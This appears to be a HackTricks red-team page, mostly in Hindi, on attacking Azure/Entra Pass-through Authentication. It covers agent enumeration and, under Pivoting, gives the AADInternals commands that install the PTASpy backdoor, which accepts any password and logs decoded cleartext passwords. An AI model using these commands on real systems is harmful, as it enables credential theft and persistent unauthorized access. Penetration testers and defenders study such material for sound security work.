Az - PTA - Pass-through Authentication

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

From the docs: Microsoft Entra पास-थ्रू प्रमाणीकरण आपके उपयोगकर्ताओं को एक ही पासवर्ड का उपयोग करके ऑन-प्रिमाइसेस और क्लाउड-आधारित अनुप्रयोगों में साइन इन करने की अनुमति देता है। यह सुविधा आपके उपयोगकर्ताओं को एक बेहतर अनुभव प्रदान करती है - याद रखने के लिए एक पासवर्ड कम, और आईटी हेल्पडेस्क लागत को कम करती है क्योंकि आपके उपयोगकर्ता साइन इन करना भूलने की संभावना कम होती है। जब उपयोगकर्ता Microsoft Entra ID का उपयोग करके साइन इन करते हैं, तो यह सुविधा उपयोगकर्ताओं के पासवर्ड को सीधे आपके ऑन-प्रिमाइसेस Active Directory के खिलाफ मान्य करती है।

PTA में पहचानें सिंक्रनाइज़ होती हैं लेकिन पासवर्ड नहीं होते जैसे कि PHS में।

प्रमाणीकरण ऑन-प्रिम AD में मान्य किया जाता है और क्लाउड के साथ संचार एक प्रमाणीकरण एजेंट द्वारा किया जाता है जो एक ऑन-प्रिम सर्वर पर चल रहा है (यह ऑन-प्रिम DC पर होना आवश्यक नहीं है)।

Authentication flow

  1. लॉगिन करने के लिए उपयोगकर्ता को Azure AD पर पुनर्निर्देशित किया जाता है, जहां वह उपयोगकर्ता नाम और पासवर्ड भेजता है।
  2. क्रेडेंशियल्स एन्क्रिप्ट होते हैं और Azure AD में एक क्यू में सेट होते हैं।
  3. ऑन-प्रिम प्रमाणीकरण एजेंट क्यू से क्रेडेंशियल्स इकट्ठा करता है और उन्हें डिक्रिप्ट करता है। इस एजेंट को "पास-थ्रू प्रमाणीकरण एजेंट" या PTA एजेंट कहा जाता है।
  4. एजेंट क्रेड्स को ऑन-प्रिम AD के खिलाफ मान्य करता है और प्रतिक्रिया वापस Azure AD को भेजता है, जो यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का लॉगिन पूरा करता है।

warning

यदि एक हमलावर PTA को समझौता करता है, तो वह क्यू से सभी क्रेडेंशियल्स ( स्पष्ट-टेक्स्ट में) देख सकता है।
वह AzureAD के लिए किसी भी क्रेडेंशियल्स को भी मान्य कर सकता है (Skeleton key के समान हमला)।

Enumeration

From Entra ID:

bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

ऑन-प्रेम सर्वर में एजेंट चल रहा है या नहीं, इसकी जांच करें:

bash
Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

यदि आपके पास Azure AD Connect सर्वर पर admin पहुँच है जहाँ PTA एजेंट चल रहा है, तो आप AADInternals मॉड्यूल का उपयोग करके एक बैकडोर डाल सकते हैं जो सभी पासवर्ड को मान्य करेगा (तो सभी पासवर्ड प्रमाणीकरण के लिए मान्य होंगे):

bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

note

यदि स्थापना विफल होती है, तो यह संभवतः Microsoft Visual C++ 2015 Redistributables की कमी के कारण है।

यह बैकडोर करेगा:

  • एक छिपा हुआ फ़ोल्डर C:\PTASpy बनाएगा
  • PTASpy.dll को C:\PTASpy में कॉपी करेगा
  • PTASpy.dll को AzureADConnectAuthenticationAgentService प्रक्रिया में इंजेक्ट करेगा

note

जब AzureADConnectAuthenticationAgent सेवा को पुनः प्रारंभ किया जाता है, तो PTASpy “अनलोड” हो जाता है और इसे फिर से स्थापित करना आवश्यक है।

caution

क्लाउड पर GA विशेषाधिकार प्राप्त करने के बाद, एक नया PTA एजेंट पंजीकृत करना संभव है और किसी भी पासवर्ड का उपयोग करके प्रमाणीकरण करने के लिए पिछले चरणों को दोहराना संभव है और साथ ही, स्पष्ट पाठ में पासवर्ड प्राप्त करना।

Seamless SSO

यह PTA के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें:

Az - Seamless SSO

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें